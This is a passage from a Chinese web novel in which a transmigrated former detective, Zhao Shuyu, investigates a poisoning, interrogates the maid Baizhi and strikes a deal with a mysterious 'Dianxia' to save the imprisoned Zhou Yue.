赵疏玉实在无法理解。
她觉得这里的一切,所有,都令人费解!
可笑的典妻制度。
腐败的官僚主义。
封建的皇权至上。
好恶心。
真的好恶心!
没由来的,赵疏玉干呕一声,她的腹中空空并未来得及吃晚膳,可她还是想吐。
好恶心。
眼前的这个男人面露关切,可实际上也是虚伪至极!
恶心!
她猛地推开李惟初。
“我终于知道那日周德为什么不愿意和你吐露实情了。”
未等李惟初开口,赵疏玉便接着道:“因为你也和他们一样,虚伪龌龊,周德不信官,他只信他自己。可惜以他的蝼蚁之力又如何与大象相较?”
“你在胡说什么!”李惟初在听到这句话后,不知是否戳进他的痛处,他的眸光中罕见地暴露出愤怒与失望。
“赵疏玉,你给我听好了。你既然决定走了这条路,那么这条路上的牺牲就一定是注定的。”
“周玥死了又如何?如果她的死可以推进案件,那么她的死就是有意义的!”
“今天她或许会死,明天很可能就是你。”
“你我没得选。”
“周玥所受的每一道刑法,我都看在眼里,可我能怎么做?”
“你来告诉我,我能怎么做……”
53. 重回府邸
“你是江南县令,如果连你都保护不了她们,那么她们的命运就只剩下摧残与折辱了。”赵疏玉蹙着眉头,眸中似有一丝无奈闪过。
李惟初也垂下眸,问道:“你是在说我无能,是吗?”
赵疏玉抬起眸看向他,她的眼神中并没有任何指责,依旧和当初一样平静。
“我没有说你无能。”
“只是你身在其位,不得不谋其事,哪能因为怕、惧,而放弃了你的子民呢?”
李惟初低头,似乎在很认真地思索着她的话。
“你是觉得,我很畏缩是吗?”
赵疏玉一耸肩,她擦了一把眼角已经干涸的泪,叹了口气道:“李惟初,我很不懂你。”
“说你畏缩,你却张口狠辣地要了县丞的命;说你勇敢,你却像缩头乌龟一样躲着避着。”赵疏玉摇头,“我不懂你。”
“我原以为你应当是手段专横毒辣的人,可却没想到你同样也是优柔寡断的人。”
赵疏玉很不解地抬起头看向他,“袁群毅他究竟跟你说了什么,或者给你看了什么?你之前可从来不是这样的做派。”
说完这句话后,她并没有再看李惟初一眼,径直擦身而过,离开了。
李惟初猛地转身,他抬起头望向赵疏玉的背影。
曾几何时,他也真真正正忠君爱国,将一腔热血付诸朝廷。
可换来的却是家破人亡,众叛亲离。
看着她离去的背影,李惟初的眸光不断加深。
他该怎么做呢?
既能保全她,也能保全这天下处于水深火热中的女子。
赵疏玉,你知道吗……
我很难做出抉择。
赵疏玉再一次回到周德的屋子,望着躺在床上腰以下血肉翻飞几乎快要烂掉的后背,她的心中便忍不住一阵凄凉。
他才十三岁。
一个营养不良,长得十分瘦弱的小孩子而已。
父母双亡,姐姐入狱生死未卜,自己又重伤在身。
好好的一家,怎么就变成了这样。
赵疏玉望向床旁边泛着苦味的药膏,眸中亦是十分苦涩。
“姐姐……”
周德不知什么时候醒了,他费力地睁开眼,挣扎着要起身。
赵疏玉连忙去扶他,却不料她胳膊一碰不知道碰掉了什么东西。
“啪嗒”一声,赵疏玉低头看去。
周德却是有些慌乱地别过眼,整个身子紧绷着。
赵疏玉一脸疑惑地将自己碰掉在地上的东西捡起来,拿在掌心上仔细端详了一番。
错愕地问他道:“这是……经书?”
望着赵疏玉眸中略显震惊的眼神,周德不好意思地抿唇笑了一下,“这是我父亲留下来的书,我拜托凉丝大人去我家取来给我……”
赵疏玉的眸光一闪,转而若无其事地将书重又放到他身侧,往里推了推,嘴角露出一丝不知是什么滋味的笑容,“身体怎么样了?”
周德并不想让赵疏玉担心,于是他笑了一下,语调轻扬,十分轻松地告诉她:“自然无碍,凉丝大人很是尽心,我倒有些不好意思再麻烦他了。”
赵疏玉抿了一下唇,“嗯。要好好养病,读书的事情不急。”
周德却摇摇头。
眼神坚定,眸中似有星光在闪,一瞬间整个人似乎都包裹在希望的光辉之下,“我要读书,我要变得强大,这样姐姐就不会被别人欺负了!我要保护姐姐。”
他的眼眸中闪过一丝不易察觉的哀伤,而做了多年刑警的赵疏玉熟知心理与微表情,自然是很巧妙地捕捉到。
只是她什么也没说,嘴角带有笑意地鼓励着他的梦想。
“姐姐是我唯一的亲人了,所以,我更不能让她受到伤害!”
“那就去做吧。”
赵疏玉落下这句话后,便离开了屋子。
她不敢再逗留下去。
她似乎很害怕周德会问及他姐姐的情况。
周玥。
这件事情不能再拖下去了!
她所停下的每一分每一秒,都在让周玥疼一秒痛一秒,更危险一秒。
刘世尧是怎么死的,究竟是被谁所杀,她一定要搞清楚!
赵疏玉抬头望向天空。
黑压压的夜晚,漆黑无比。
沉静的大地似有一份荒凉,裹进漆黑的夜里,吹携着寒冰刺骨的冷风钻进赵疏玉单薄的衣裳里。
她伸手拢了拢衣服,却怎么都无济于事。
她怎么忘了,她没有钱,没有衣物,什么都没有。
连这件衣服都是李惟初买给她的。
若是离开县衙,她又该怎么在这封建的礼教社会中生存?
算了。
赵疏玉甩了甩头,将以后的事情甩出脑外。
现在最主要的,是营救周玥,至于她的以后……
这并不在她的考虑范围之内。
她只知道,自己已经死了,现在的她是为了别人的躯体和生命而活。
而如今,她必须再返回一次殿下的宅邸。
想着,她立马调转方向往殿下的宅邸跑去,很快消失在黑夜里。
她原本是计划着先回去补个觉,等明日睡醒了再去。
可是在看到周玥生不如死的模样后,她旋即改变了想法。
一刻也等不了了。
而她原本在思索该翻那堵墙的时候,却令她没想到宅邸的大门竟是大开,仿佛是早就知道自己会来一般,恭候多时。
赵疏玉眉头一皱,好似自己心中的想法都被人看透,十分不爽。
思齐也仿佛是早知如此,在赵疏玉现身在大门前的那一刻,她便立即走到她的面前,恭恭敬敬朝她行礼,“赵姑娘,殿下已经等候多时了。”
赵疏玉这才知道,原来这位神秘的殿下,早就知道自己今晚还会再来一趟。
她不禁出言,言语之间十分不爽,“你家殿下究竟是什么来头?莫不是有什么通天的本领,竟还能预知未来?”
思齐却是罕见一笑,似乎并没有听出来赵疏玉这话中的不爽,反而是一副自家主子被夸了,自己也跟着沾光的得意之感。
“那当然,我家殿下那可是天底下最厉害的女子!”
赵疏玉无语,默默闭了嘴。
明明自己是在嘲讽,却莫名给她听高兴了?若自己再多嘲讽几句,那她岂不是更爽了?
太憋屈了。
一回生,二回熟。
赵疏玉这一次基本上已经能够辨别出那位殿下会在哪里接待她。
依旧是自己曾经去过的那间屋子。
她端庄典雅地坐在锦缎缭绕的大床上,轻薄飘逸的床帘随风轻轻摆动,从屏风的薄纱外头向
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里面看去,只觉她犹如天界不苟言笑的仙子,若隐若现,神力无边,令人遥遥一见,便可从心底生畏。
赵疏玉也十分明白,能拥有并散发出这样令人无比臣服气场的人,绝不是什么普通的人。
且在不清楚对方真实来历和目的的情况下,赵疏玉所做的就只有提防、试探。
想着,她朝这个女子微微抱了个拳,算是行过礼。
可殿下却是声音清泠地道:“你可知你行的礼是男子之间的揖礼,而非是女子的万福礼?”
赵疏玉一愣。
她确实是不知道这礼仪方面还有这个说法。
她看李惟初经常这么行礼,自己也入乡随俗,照葫芦画瓢似的这么做了。
只是她没想到,原来自己一直行的都是男子作揖……
可恶的李惟初也不告诉自己……害自己出了那么多次洋相!
殿下却是摆摆手,似乎也不想在礼仪上为难她。
朱唇翕张,唇角露出一丝浅浅的淡笑,“深夜叨扰,赵姑娘有何贵干?”
赵疏玉抬头,望向这四周灯火通明,而她又无比正襟危坐在床上,似乎就是在等着她的到来,而今却假意惺惺地问她有何贵干。
真实虚伪。
而赵疏玉也最讨厌这些虚以委蛇,便是也不给她面子,直道:“殿下深夜明烛彻屋,又穿戴齐整地坐在床上……殿下可不要说,这只是巧合而已。”
思齐一听,立马回头看向这个敢在殿下面前放肆的女子,脸上浮现愤怒,立马高声呵斥道:“殿下面前岂容你放肆无礼!无知的女子,还不跪下向殿下磕头请罪!”
“思齐。”殿下却是轻轻叫停思齐。
思齐立时回头,十分恭敬地向女子行礼,不满地应声:“是,殿下。”
说罢,她便转身告退,临走时还十分不悦地瞪了一眼赵疏玉。
似是在警告她什么。
赵疏玉却并没有在意。
她才不怕。
如今,她当是和他们是合作关系,若杀了她,这案子就得重新找人去破,如此一来,费时是一说,费力又是一说,若是耽误了案子,可是怎么都挽回不了的损失。
所以她并不觉得自己是什么很卑微的角色,自己也没必要对他们毕恭毕敬,卑躬屈膝。
“李惟初说得不错,你确实聪明。”屏风后面的殿下冷不丁冒出这么一句。
可落在她耳中,却是听得赵疏玉后背一凉。
赵疏玉的眼神中立马迸现出一抹十分警惕的目光,“殿下应当非常清楚,我此次前来是为了什么。”
殿下也并没有否认,她朱唇轻启,超外面道:“思齐。”
下一刻,屋门被思齐一脚踹开,手中还捏着一个女人的后脖颈。
她冷漠地揪着这个女子的后领,无情地一把将她扔在地上,而后她便又出去了。
赵疏玉的目光落到地上这个满头乱发的女人身上。
凭借她多年的经验,她一眼便认出这个人。
她倒是十分震惊地看着眼前这个蓬头垢面的女子。
她的身上并无什么伤,衣物上也并无血迹,可看起来却总感觉是一副受了重伤的样子。
赵疏玉抬起眸光,将眼睛定格在屏风后面的女子身上。
直道现在赵疏玉才真正肯定,她一定很清楚今天晚上自己来这里的目的。
54. 自杀的真相
白芷的身上没有血痕,较好的面容浮现出不正常的绯红,整个身子趴在地上发抖,口中不停地倒吸凉气。
赵疏玉看着她趴在地上,胸口起起伏伏的模样,一副受了重刑的狼狈,心底不禁腹诽起来。
‘这到底是用了刑还是没有?这人怎么一副重伤的模样?可是这身上……也并无什么血迹伤痕?’
正想着,她走上前,蹲下身子一把将掀开白芷身上的衣裳。
好冰!
赵疏玉刚一触摸到她寒冰似雪的肌肤立刻就撤回手。
此时坐在上首的殿下言笑晏晏地开口:“赵姑娘,可要知这有时啊,好奇心可是会害死猫呢。”
赵疏玉不悦地站起身,并没有搭理女子的话。
她转而将视线定格在这个浑身似冰块的女子,眸光中闪过一丝异样的情绪,问道:“那夜的事,周玥不是凶手。”
那躺在地上的女子哆嗦着身子,口齿之间不停打颤着,身上的衣服似裹得再紧也还是冰冷彻骨。
饶是如此,她还是冷笑一声,朝赵疏玉啐了一口,“你就算是知道又如何?你没有证据,哈哈没有证据!周玥这个贱女人还是得死!去死!哈哈哈!!”
赵疏玉看着她如今的面孔,尖酸刻薄,眸中似有无尽的痛恨。
似乎在怨恨她那晚为什么要突然出现!
打乱了她的好事!
都怪她!
都是因为她!!!
赵疏玉虽不知她心中想着什么,可她明白,如今她变成这样,受的罪,都是因为自己把她给抓了回来。
可犯了错的人,为什么要放过她。
赵疏玉叹了口气,她拍掉白芷指着她脸的手指,无视掉她目光中的怨毒,一脸泰然地回答道:“若你真问心无愧,又何必会落到如此田地。”
“问心无愧?问心、无愧?哈哈,哈哈哈!!”白芷的语调从一开始上扬不解到自嘲,再到最后的放声大笑。
这一刻她忽然有种眼前这个女子已经疯了的错觉。
可还没在等她说话,一直坐在里屋的女子踏着轻盈优美的脚步和姿态走了出来。
她的眸光淡然,桌上的几缕烛光映照在她的脸上,却更给她添上一抹与世无争的淡漠,可那一双眸中却深陷着野心与张扬。
恣意而又明媚。
她并没有顾躺在地上战战发抖的女子,而是走到赵疏玉的面前。
她的眸光微向下看去,可下颌却并没有动。
赵疏玉微昂起头,对上她淡漠的目光。
“让我看看你的本事。”
“赵疏玉。”
说罢,她站在赵疏玉和白芷的后面,置身事外,以一个旁观的姿态观赏着她们。
赵疏玉紧了紧拳头。
她很讨厌别人这样用命令的口吻跟她说话。
赵疏玉扭头向后看去,却见她只是微昂了昂嘴角,朝她挑了一下眉,随后目光似乎移到其他地方。
可她知道,这个神秘的,被李惟初称为殿下的女子,一直在注视着她。
似乎像是猎物,而她是潜伏的猎手。
这样的感觉,令她十分不安。
正在赵疏玉心下踌躇时,女子又忽然开口有意无意地提醒她道:“周玥?应该是叫这个名字?我提醒一句,她的寿命只剩下两天了。”
这句话犹如雷声灌耳,震得她立马转头向那个神秘的殿下看去。
陈述这句话时,她连眉毛都没有抬一下。
赵疏玉却嫌少有些急了,“什么意思?你又是怎么得知周玥只有两天的寿命?你究竟是谁!你怎么会知道这些!”
殿下的眉目只是略抬了抬,并没有正面回应她。
“赵疏玉,只有我可以救她。”
边说着,她用手指指了一下自己,面上露出一抹赵疏玉也看不懂的情绪。
像是自得,又似是窃喜,更好像还有一种高高在上的施舍感。
赵疏玉看不懂她的情绪。
她不懂,人怎么可以会这么复杂……
她也不想再去看了。
本能的,她觉得到这个女人给她一种十分危险的感觉。
她紧紧捏着拳头,反问道:“你怎么确信只有你可以救她?”
“你的腿。”
短短三个字,赵疏玉再没有可以质疑的点。
真正说来,眼前这个威胁而又危险的女人,似乎还是她的救腿恩人。
她有这个实力。
赵疏玉无可辩驳。
“你要我做什么?”
女人向赵疏玉比了个三。
赵疏玉皱眉,“什么意思。”
明人不说暗话,赵疏玉也并不打算和她绕什么弯子,只听她道:“我要你为我做三件事。”
“……不过我要提前告诉你,我有三不干。”
“哦?”见赵疏玉这么痛快就妥协了,她自是乐得愿意听她往下说。
“伤天害理的不干,杀人放火的不干,有违纲常伦理的不干。”
女人听她说完,嘴角立时便是绽开一个笑容,似乎是被她的言论逗笑了。
“自是如此。”
女人无奈地摇了一下头,说起了第一件事:“第一,找出袁群毅杀害刘世尧的罪证。”
“第二,彻查二十七女自焚案。”
赵疏玉听到她说第二的时候,心中不禁猛地一惊。
这个女人深居简出,却是深知天下事,对江南发生的事情了如指掌。
实在是不可小觑。
那女子却是在她没看见的方向扬了一下唇,顷刻间便消失不见。
见对面没有再言,赵疏玉抬头看向殿下,轻蹙了一下眉头,问道:“第三件事呢?”
她为难地要了一下头,“等你做完了这两件事,我再告诉你这第三件事是什么。”
敢情,这又是在侧室她。
赵疏玉并不蠢。
她欣然接受。
“不过我也有条件。”
不等对面的女子说话,赵疏玉直截了当地提出了她的条件,“你穿金戴银,连茶杯都是金器,想必定是不缺钱……”
“你要钱?”
女子以为她会提出什么条件,也从未有人敢在她面前提什么条件,正不悦时,却听见她只要钱……
瞬间自己心中的气都顺了。
跟这样一个钱眼子置什么气?
她无奈地叹了口气,“一件事,一千两。”
“一千两白银?”赵疏玉斟酌了一下。
她并非是觉得这银子很少,只是她对白银没有一个确切的概念。
这一两白银是多少人民币……?
只是她怕女人会反悔,于是立马答应。
而那女子却是很不高兴地蹙起眉,“谁说给你一千两
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白银了?”
赵疏玉心里一个咯噔。
“打发乞丐吗?”那女子从旁边的桌上拿起一个金锭。
她一脸无所谓地将金子抛到赵疏玉地怀里。
“收好吧,别忘了本宫交代你的事。”
说罢,她坐到一旁的茶凳上,安静地看着赵疏玉和白芷。
赵疏玉倒吸一口凉气。
这该不会是什么富可敌国的富商吧?
这金子当瓜子不要命的赏,这以后不会带着她一起谋反吧??
她可是记得历史上就有位富商富可敌国,让皇帝好生忌惮。
不过她也说了。
伤天害理的事,她可不干!
略整理了一番自己的心绪,她便将目光重又转回白芷身上。
她依旧瑟瑟发抖,可现在好像是抖得更厉害了。
她整个嘴唇白的发紫,整个人哆嗦不安。
赵疏玉叹了一声,“白芷……你这又是何苦?”
“你替他隐瞒,最后的结局就是你受苦楚折磨,他端坐高堂。”
见她依旧是不肯言语,赵疏玉便只好告诉她自己已知的消息。
“那晚上,应该是你去送药给刘世尧,可是你却说这药是周玥抢了你的送过去的?我便好奇,周玥那么厌恶刘世尧,为什么还要献殷勤去送什么什劳子的药汤去讨好他?”
白芷冷哼一声,便哆嗦便道:“她才不是献什么殷勤,她抢了我的汤药在里头下毒,还想嫁祸给我,说是我干的!周玥这个贱人,她就是想害死我!贱人……贱人!”
“闭嘴!”赵疏玉厉声打断她,“你们同为女子,怎可如此咒骂!”
白芷紧紧咬住下唇,她忽然抖得很厉害,最后整个身子都缩了起来,像个小虾米一样蜷着,小声喊叫起来。
“好冷,好冷好冷好冷啊……”
“我不能死……我不能死,我还不能死!”
“大人答应我的,只要我不承认,不承认就好了!”
她立马大声喊叫起来,“我说了!都是周玥下药毒死刘世尧的!你们就算是报官……不对,你们没有证据,你们连官都报不了!”
“再说了,就算你们去报官,你以为,以为李县令能帮你吗!他自己都快自顾不暇了!还帮你,哈哈哈!可笑!”
赵疏玉的耳力从小便很好,将她在说这些话之前的呢喃自语都听得一清二楚。
赵疏玉却在此时唇角一勾,就像是套到了她心中的话,她立时便质问道:“外界都只知道刘世尧是中毒暴毙而死。中毒,有很多种方式,你怎么就知道、确定,是周玥在那碗汤药里下毒了呢?”
白芷目光一顿,她立马回道:“官兵一来就把周玥给抓走,除了下毒在药汤里,难不成还能在衣服或者被子上吗?”
“是吗?看来你很清楚她是怎么杀了刘世尧的?”
赵疏玉又是一问。
白芷两只手掌紧紧摩挲着地面,不知是紧张还是被冷成这样。
她依旧不承认,“我怎么知道周玥是怎么杀的人?杀人这么可怕的事情难道我还要目睹全程吗?周玥是被刘世尧强典进来的,一家人又都死在刘世尧的手上,杀父杀母灭家之仇,难道还不够周玥恨毒了刘世尧吗!还不够杀了他吗!”
她疾言厉色地辩驳着,却无意之间说漏了嘴。
周玥的父母,是被刘世尧用砒霜杀死的。
55. 新的突破点
“果真如此。”
赵疏玉冷冰冰地看向白芷。
她早就意识到这里面似乎有些不对劲,她也确信,两个那么放心不下自己一双二女的夫妻竟然会选择吃砒霜自尽。
可是在怎么令她疑惑和匪夷所思都没有用。
李惟初不让查,封锁了现场又将尸身火化安葬,查无可查。
而赵疏玉知道,李惟初这是并不打算让自己掺合进去,并去深入调查这桩案子。
仿佛,也是和背后那人达成了某种共识。
这种共识……就这么将这一对夫妻的真相湮灭。
一杯白骨入土,飘飘扬扬,真相与邪恶一齐被埋进土里。
如果不是今日白芷说漏了嘴,她还真就不知道这件事情该从何处查起。
也得亏有李惟初的提醒——白芷并不只是一个普普通通服侍崽刘府的侍女。
趴在地上不停打颤的白芷似乎也意识到自己说了漏嘴,她的眼神一瞬间闪烁下去,不敢与赵疏玉对视。
而赵疏玉却紧追不舍地继续问她道:“刘世尧为什么要杀了他们?”
“那是因为他们该死。只有死人的嘴巴才不会泄露任何秘密。”说罢,她战战栗栗地哼笑一声,“怎么?赵姑娘这是见问不得周玥什么,便开始转移话题和注意力了吗?”
“你说或是不说,有那么重要吗?”赵疏玉忽然开口说道。
白芷却是一震,她心下嘀咕,不知赵疏玉这话究竟是什么意思。
赵疏玉淡淡开口,“只要得知是在什么时候下的毒,就能知道凶手究竟是谁了。”
“你这话是什么意思!”
赵疏玉却不想再说,只道:“取得你的口供很简单,只需要用几个人摁住你的手,印上红泥盖在口供纸上不就可以了吗?”
白芷听到她的这一番回答,眼睛直溜溜瞪得圆圆,眸中充满着十分不可置信。
似乎赵疏玉在这一刻,在她心中的初始印象全已全盘崩塌。
她从来没想过赵疏玉竟然会这么大张旗鼓,且毫不在乎地将这样做假证的想法给暴露出来。
而赵疏玉却是一脸无所谓地看向她,半是威逼半是威胁地对她说道:“你要你的指纹一到手,再把你悄悄杀了,对外就只说你陷害同僚,又闻昔日好友在狱中性命垂危,你心生极愧,转而自尽以赎其罪,而这封口供,看似是罪证,又何尝不是你的罪己诏呢?”
“如此一来,死无对证,又有谁会认为你说的是假言?”
白芷的目光中迸射出一道十分凶狠的目光,弓起身子那一刻猛地朝赵疏玉扑去,而赵疏玉只是略略后退几步,便轻松避开了她的近身。
“你……你好恶毒的心!”
她无能地狂怒嚎叫道。
而赵疏玉的眸光并没有什么变化,似乎她怎么样说自己,她都是一副处之泰然的模样。
可这样,却是白芷最痛恨的!
她凭什么可以这么看着自己!
她为什么要用这种淡漠寡恩但又抱有一丝怜悯的眼神看着自己!
凭什么!
凭什么!!!
赵疏玉却并不理会白芷内心的疯狂,依旧平淡地朝她说道:“恶毒?比起你们做了那么多伤天害理的事情,我只不过是想从你的口中的到一些真相而已……你们杀人放火自诩正义,而我威逼胁迫就是肮脏了?”
“你强词夺理!赵疏玉!你以为你能从我嘴里知道什么东西!我有凭什么要讲这些都说给你听!?啊?!你是谁,你以为你是谁啊!你别用这样一种同情悲悯的眼神看着我,不许看!不许看我!!!”
“被人利用至此还不知悔改。白芷,你的一生都会葬送在袁群毅他们一行人的手里。”
白芷的眼眶中忽然滚落出热泪,滴落在她被污泥染脏了的下人裙上,她的双手紧紧抓住裙角,整个身子不停地发颤。
“是!我一点都不在乎我自己会不会死,甚至如果不是你拦着我,我早就去死了!我早就和佳子一样,跳湖死了!只有我死了……我死了!我的父母弟弟他们才能过好日子,我为什么不去死,我为什么不去死!!都怪你,赵疏玉,都怪你,都怪你!!为什么你不去死!为什么,为什么!!”
白芷的情绪不知为何突然爆发,倒让这屋中的所有人都吃了一惊。
赵疏玉还算淡定,只是她实在不解白芷为什么会认为自己的命那么不值钱,死就死了不可足惜,而她又怎么会认为,她死了之后,她的父母,还有弟弟,就一定会过上好日子?
她并没有被白芷激昂的情绪带偏,而是依旧冷静自持地看向她,问道:“你怎么就确信你死了之后,你的父母弟弟就会过上好日子呢?刘世尧失去了价值,被袁群毅所杀,而刘氏父母也因知晓过多而被杀。”
“你信不信,你前脚刚传来溺死的消息,下一刻你便能在黄泉路上看见父母弟弟断头暴毙的身影?”
白芷一愣。
她的脑子也在这一瞬间空白了。
她不知所措地摇头,她甚至从没有都没有想到过这一层,只是按照袁群毅交代给她的东西去做。
袁群毅让她做什么,她就做什么。
无论什么。
可是她从来没想过,自己替袁群毅干了那么多事,到头来也只会被当作忌惮灭口的第一人选。
她的脑海中猛地闪过父母弟弟的身影,而后猛地抓住赵疏玉脚边的衣裳。
赵疏玉下意识就想去扶她。
可看到她袖袍底下的臂膀上,有许多深浅不一的刀疤,她悬在空中想去扶她的手就这么愣住了。
她苦涩地抿了一下唇,避开她的伤痕的地方,轻轻抬起她的手,“刘世尧……打你了吗?”
听到这句话时,白芷细密的睫翼一颤,随后她又是轻轻一笑,笑中带着一丝无奈,“他?……”她苦笑着摇摇头,“像我们这种卑贱的奴才,哪个贵人看见我们不踩一脚?打我?不,这是他们给我的赏赐。”
她从赵疏玉的手中将伤痕累累的手挣开,眼神中闪烁出异样的神采,“可是那又怎样呢?只要从他们手指头缝里掉出些银子来,就够我养活一家了,所以……赵疏玉,你明白吗?所以我根本不在乎我是否受了伤。这一切都是我应得的。”
赵疏玉明白了。
她不会再从白芷的嘴里得到任何一句关于刘世尧他们事情。
她明白了,所以她转身,毅然地离开殿下府邸。
殿下也并没有阻挠她离开。
寒风阵阵袭来,白芷满手的伤痕累累在她的脑海里挥之不去,历历在目。
她不屑而眼底略带有一丝疯狂的神采,令赵疏玉的心中不免升起一抹哀伤。
寒风吹在打在她的脸上,更给她的心中徒增悲凉。
古时候女子的生命,往往系在主人家的身上,命如草荠,主人家一声令下,香消玉殒,草席裹着孤零零的尸体,扔去乱葬岗,连骨头都被野狗吞咽下肚。
何其悲哀。
不知不觉,她走至湖边。
佳子跳河的地方。
白芷说过。
佳子跳河了。
带着所有的秘密跳河,罪证也随之湮没。
可是为了所谓的秘密,而活生生害死一条人命。
这样的手段,何其恐怖。
他杀都可以伪造成自杀,而且,必须是自杀。
周氏夫妻……
即使饮砒霜自尽,是多么的无法令人信服,可是李惟初却仍然相信,周氏夫妻的案子,就只有到此为止了。
因为没有证据。
所有的证据都已然消失。
佳子死了,就算有白芷的口供,可是物证早已消失不见,再也不可得,光凭人言,何足让人信服?
一句口说无凭,便可让一切努力灰飞烟灭。
“在想她为什么会变成这样,是吗?”殿下不知道什么时候走到她身后,轻轻拍了一下她的肩膀。
赵疏玉的心情莫名有些烦闷。
她摇头,目光停留在一片死寂的静湖上,道:“世事无常,时势所迫,她不得不这样做。可是掩盖真相,试图蒙混过去,我也照样不会允许。”
殿下的心中好似早就心知肚明一般,她的神色并无变
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化,“可是就以她现在的状态,跟你去投案自首?这怎么可能?”
“殿下,你可不是神通广大,连人何时死亡都能算的一清二楚,在这件事情之上,又何必来问我呢?”
殿下被赵疏玉一噎,她却并没有在意,“想问就问,哪来那么多原因?况且我的身份特殊,无法以真容面世,有些事情我做不了,李惟初也是。他把自己困在一个笼子里,他如果走不出去,那么一辈子都会困死在那里,永远也走不出去。”
赵疏玉略有好奇地问她:“他为什么会把自己困在笼子里?他又为什么走不出来?”
殿下却是神秘一笑,“这件事自然是应当他本人当面来告诉你才是。毕竟,谁也不想自己是一个什么样子的人,以前经历过什么,都是从别人的口中说出来的,在别人的口中了解最真实的自己,不是吗?”
赵疏玉的脑海中猛然又闪过那个小红木盒。
精美雅致,却给人一种十分不好的预感。
精美的金丝修饰着木盒边框,暗红色的木盒子上刻着凹凸不平的浮雕,仿佛流尽干涸了的鲜血,埋藏着痛苦的嚎叫,深深按压进浮雕里的花纹。
那个盒子给赵疏玉留下深刻的印象,所以每当她的脑海中想到这个红木盒子时,总伴随着一种异样的诡异。
很奇怪,但却说不上来究竟是哪里奇怪。
颜色,浮雕,亦或是金丝花纹,处处散发出诡异的色彩。
寒风吹过,赵疏玉的后背一阵发凉。
她摇了摇头,将这些记忆甩开脑外,目光深邃地看向湖面,“用一条鲜活的人命去换取永远被掩埋的秘密,我在想,究竟是值得还是不值得。”
在此之前,她从未想过这样的问题。
她认为,警察的职责就是抓住犯罪分子,只要她按照程序条例去做就行了。
可是她从未想过,罪犯为什么会犯罪,罪犯为什么会为了掩盖秘密而不惜一切代价。
殿下却从未想过这种问题。
她冷漠地看向赵疏玉,“赵疏玉,你不需要去想这些。值得还是不值得,只有将她杀死的人才知道。而我们需要做的,就是还原事实,还给死者一个真相,将她们的冤屈洗刷,将她们的无辜昭告天下。其他的,我们做不了。生死有命,动物界的自然规律罢了,同类相残,往往只有强者获胜,适者生存。”
随后,她留下一句非常匪夷所思的话。
“而你我,都是动物。”
赵疏玉的眼睛忽的瞪大,紧紧盯着她离去的背影,眸中的目光不断加深,眼眸中更多了一份考量和深沉。
“做你该做的事,周玥的生命已经时日无多了。”
最后一番话提醒赵疏玉,别忘了她要做的事,她的任务!
赵疏玉也并没有忘记,她转身,身影很快消失在黑暗中。
她再一次接近刘府,赵疏玉整个人的身子紧绷,生怕暴露了行踪。
只是下一刻她就觉得自己这种担忧是多余的。
刘府的侍卫又很奇怪地全都消失不见了。
就只剩下一个空荡荡的死宅,和几片萧索的落叶。
赵疏玉自是不敢大摇大摆地进去,生怕有诈,于是来到墙角根,很轻松地翻过墙面,稳稳落地。
甫一稳住身形,她半刻也不敢耽搁,立马奔向刘世尧所在的房屋。
整洁如新,整个刘府就像是一所新宅,若非是庭前的几片枯黄的叶子昭示了刘宅的衰落,赵疏玉还真看不出来这已经是空宅了。
可是犯罪现场越干净就越能说明问题,就越能知道这底下掩藏着什么惊天大秘密。
她找了一圈,药渣早就已经被袁群毅的手下处理掉,整个府上似被掳掠一般,连片药叶子也不见。
那就更能说明周玥递给刘世尧的那碗药汤有问题!
她正思索期间,目光一直在不停地扫视着周围的装饰。
忽然,她的眼神定格于某个方向,脑海中也一闪而过周玥的脸。
对了!
既然旧的突破点已然被摧毁地一干二净,那么不妨将思维更换,来寻找新的突破点!
56. 密室中的秘密
赵疏玉记得周玥曾和她说过,刘世尧在临死前走向了一处地方……
想着,她便朝那个方向走去。
期待着或许能够得到其他的一些讯息。
果不其然!
赵疏玉很快就发现了一丝不对劲的地方。
层层叠叠的书架子上摆放着整整齐齐的书,可是在第五个架子上,她发现了一颗指纹。
一颗边缘不甚清晰,十分粗糙的指纹。
血迹留在了指纹上,却在书架的外边缘戛然而止。
照理来说,人在死之前,会挣扎着求生,抓住一切可以抓住,让自己能够活下去的东西。
所以,刘世尧应当会抓住书架,并在书架上留下他的手掌印。
可是并没有。
只有很细小的指纹,若不仔细看,还真看不出来。
不过……
赵疏玉陷入了沉思。
刘世尧留下这个指纹的目的又是什么。
一般人在被杀之前,都会激烈的反抗。
而刘世尧却没有对周玥动手。
周玥的伤都是由后来的袁群毅诸加。
那么这就只能说明一个问题。
刘世尧知道这碗药不是周玥下的,杀他的一定另有其人!
可是这个人,是谁,他不知道,他也没有时间再想这件事情了,只有尽可能地做什么呢?
思绪到这儿,忽然断了。
有一种清晰而又模糊的猜测在赵疏玉的心里产生,可是一种不确定的模糊感又使她不明白这心底的猜测究竟是什么。
刘世尧做了那么多的恶事,或许和袁群毅也有着千丝万缕的关系,在江南时,他不管是再怎么闯破了天,李惟初也不过是警示一番,并没有多余的动作。
而在袁群毅来到这里之后,刘世尧就死了。
可是明明在一开始,他是在救刘世尧,究竟是从什么时候开始他又准备杀了刘世尧呢?
杀他的目的又是什么?
而刘世尧也一定知道是袁群毅动的手。
因为除了袁群毅,没人敢动他。
如果没有袁群毅背后的势力推动这件事,刘世尧也绝不会在自己的府中被杀。
所以,他那时候就明白了,杀他的人一定是袁群毅那边的人,所以,他没有动周玥,而是想到另一件更重要的事情。
他才会在已经中毒快死的情况下还踉踉跄跄地爬起来,摇摇晃晃地走到书架身前。
赵疏玉在房屋中,不断模拟着当日刘世尧从喝下毒药到被毒死在地的全过程。
她摇摇晃晃地走到书架前,却没有伸手扶书架。
因为刘世尧那个时候没有扶。
她为什么肯定刘世尧一定没有扶的原因在于,她看过刘世尧的尸体,七窍流血,浑身是血,死状可怖。
所以,他如果一旦触摸书架,一定会在书架上留下不可磨灭的痕迹,那么,袁群毅他们一定就会留心此处。
故而刘世尧可以在任何地方留下血迹,却唯独不能在这个地方留下一丝一毫的痕迹。
这是为什么?
赵疏玉凭着多年的经验判断,他或许是想隐瞒什么秘密。
这个秘密,或许就是所有一切的关键。
赵疏玉将目光再次往刘世尧留下的痕迹上看去,又细细打量了其他的书架子。
其他的书架上完全没有任何痕迹,而唯独只在第五个架子上留下指纹。
这就很巧妙了。
赵疏玉忽然对刘世尧当夜产生了非常浓厚的兴趣。
他究竟是以一个什么样的心理去留下这个痕迹。
因为她又发现了一处痕迹。
第五个架子上和其他的书架没有区别,都整整齐齐摆放着书。
却有几本相较于其他的书略微凸出一点点。
若不仔细盯着去看,还真看不出来这书竟然还凸出。
赵疏玉意识到此事或许有什么玄机,于是轻轻一推,将几本凸出的书全都按压回原位。
